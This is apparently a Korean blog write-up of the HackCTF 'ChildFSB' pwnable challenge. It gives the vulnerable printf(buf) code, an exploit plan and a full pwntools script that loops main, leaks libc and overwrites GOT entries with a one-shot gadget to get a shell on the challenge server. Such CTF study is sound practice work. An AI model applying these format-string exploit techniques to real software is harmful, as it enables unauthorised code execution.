HackCTF - ChildFSB
2021. 7. 8. 10:00ㆍPwnable
중간에 버퍼 꼬여서 5시간 걸린 문제이다.
FSB공부하는 중이지만 버퍼안꼬였으면 2시간이면 풀 문제였는데 5시간이 걸렸다니 마음이 아프다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[24]; // [rsp+0h] [rbp-20h] BYREF
unsigned __int64 v5; // [rsp+18h] [rbp-8h]
v5 = __readfsqword(0x28u);
Init();
puts("hello");
read(0, buf, 25uLL);
printf(buf);
return 0;
}
버퍼가 공간이 부족하기에 main loop를 만든 후에 나눠서 입력하면 된다.
1. main loop 생성하기(__stack_chk_fail 을 main으로)
2. libc leak하기(__libc_start_main 사용)
3. oneshot을 setbuf.got에 덮기
4. __stack_chk_fail 을 setbuf을 호출하는 부분으로 덮기
코드는 아래와 같습니다.
from pwn import *
r = process("./childfsb")
e = ELF("./childfsb")
l = e.libc
#0x7f621b6e42a1
r = remote("ctf.j0n9hyun.xyz", 3037)
l = ELF("./libc.so.6")
context.log_level = "debug"
main_add = e.sym['main'] #0x40075f
__stack_chk_fail_got = e.got['__stack_chk_fail'] #0x601020
__libc_start_main_offset = l.sym['__libc_start_main'] #0x21ab0
setbuf_got = e.got['setbuf'] #0x601028
#one_shot_offset = [0x4f2c5, 0x4f322, 0x10a38c]
one_shot_offset = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
init_add = 0x400757
main_loop_add = 0x75f + (main_add - 0x000000000040076d) + 0x21
log.info("main_add = " + hex(main_add))
log.info("__stack_chk_fail_got = " + hex(__stack_chk_fail_got))
log.info("__libc_start_main_offset = " + hex(__libc_start_main_offset))
log.info("setbuf_got = " + hex(setbuf_got))
pause()
#make loop
pay = ""
pay += "%11$p"
pay += "%" + str(main_loop_add) + "c%8$hn"
pay += p64(__stack_chk_fail_got)
pay += "A"*(25-len(pay))
print(pay)
print(len(pay))
r.sendafter("hello\n" ,pay)
#0x00007ff39d845b97
__libc_start_main_leak = int(r.recv(14), 16)
__libc_start_main_add = __libc_start_main_leak - 240
libc_base_add = __libc_start_main_add - l.sym['__libc_start_main']
one_shot_add = libc_base_add + one_shot_offset[0]
log.info("__libc_start_main_leak = " + hex(__libc_start_main_leak))
log.info("libc_base_add = " + hex(libc_base_add))
log.info("one_shot_add = " + hex(one_shot_add))
one_shot_low = one_shot_add & 0xffff
one_shot_middle = (one_shot_add >> 16) & 0xffff
one_shot_high = (one_shot_add >> 32) & 0xffff
log.info("one_shot_low")
pay = ""
pay += "%" + str(one_shot_low) + "c%9$hn"
pay += "A"*(16-len(pay))
pay += p64(setbuf_got)
pay += "A"*(25-len(pay))
r.sendafter("hello\n", pay)
pause()
log.info("one_shot_middle")
pay = ""
pay += "%" + str(one_shot_middle) + "c%10$hn"
pay += "A"*(16-len(pay))
pay += p64(setbuf_got+2)
pay += "A"*(25-len(pay))
r.sendafter("hello\n", pay)
print(r.recv())
pause()
pay = ""
pay += "%" + str(one_shot_high) + "c%11$hn"
pay += "A"*(16-len(pay))
pay += p64(setbuf_got+4)
pay += "A"*(25-len(pay))
r.sendafter("hello\n", pay)
pause()
pay = ""
pay += "%" + str(init_add&0xffff) + "c%12$hn"
pay += "A"*(16-len(pay))
pay += p64(__stack_chk_fail_got)
pay += "A"*(25-len(pay))
r.send(pay)
r.interactive()
'Pwnable' 카테고리의 다른 글
dreamhack.io - validator (0) | 2021.07.13 |
---|---|
HackCTF - ezshell (0) | 2021.07.13 |
HackCTF - ChildHeap (0) | 2021.07.02 |
HackCTF - babyfsb (0) | 2021.06.26 |
PuTTy 설치 & 한글깨짐 (0) | 2018.02.28 |